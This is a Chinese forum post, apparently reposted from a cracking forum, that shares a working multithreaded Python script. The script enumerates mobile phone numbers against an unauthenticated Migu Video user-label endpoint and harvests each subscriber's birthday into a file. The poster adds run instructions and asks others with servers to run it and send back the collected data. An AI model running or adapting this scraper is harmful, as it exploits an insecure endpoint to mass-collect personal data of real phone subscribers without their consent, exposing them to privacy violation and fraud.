本文来源吾爱破解论坛
本帖最后由 q59541511 于 2018-10-25 15:55 编辑
[Python] 纯文本查看 复制代码
import requests from lxml import etree from threading import Thread import time def get_bdate(fristdatalist): datalist=[] for iphonenumber in range(10000): number=fristdatalist+str(iphonenumber).zfill(4) params = { 'user': 'guest', 'vt': '9', 'userId': number } response = requests.get('http://aikanvod.miguvideo.com/video/p/getUserLabelsForNd.jsp', params=params) try: bddatejson = response.json() except Exception as e: print('json失败') continue try: data = number+'-'+bddatejson['longTable'][0]['labelValue'] datalist.append(data) print(data) except Exception as e: print(number+'没有生日数据') return datalist def write_data(datalist): strdatalist = '\n'.join(datalist) with open('188data.txt','a') as f: f.write(strdatalist) def my_threading(frist_num): write_data(get_bdate(frist_num)) def get_fristnumberlist(number): response = requests.get('http://www.guisd.com/hd/'+str(number)+'/zhejiang/') xpobj = etree.HTML(response.text) fristnumberlist = xpobj.xpath('//*[@id="heilongjiang"]/dd//text()')[:-1] return fristnumberlist list = ['134','135','136','137','138','139','150','151','152','157','158','159','188'] for i in list: numberalllist= get_fristnumberlist(i) for num in numberalllist: p = Thread(target=my_threading, args=(num,)) p.start() time.sleep(3600)
我一会儿要去上学了,我没有服务器跑。谁跑下来了请发我一份谢谢
食用方法 c+v复制到txt然后保存为haha.py 下载模块然后在相对目录创建一个188data.txt
python3 haha.py
test.gif (69.23 KB, 下载次数: 0)
下载附件 保存到相册
版权声明:
本站所有资源均为站长或网友整理自互联网或站长购买自互联网,站长无法分辨资源版权出自何处,所以不承担任何版权以及其他问题带来的法律责任,如有侵权或者其他问题请联系站长删除!站长QQ754403226 谢谢。
- 上一篇: 最简单的hosts 编辑器(python 代码)
- 下一篇: 菜鸟,爬取有声小说续集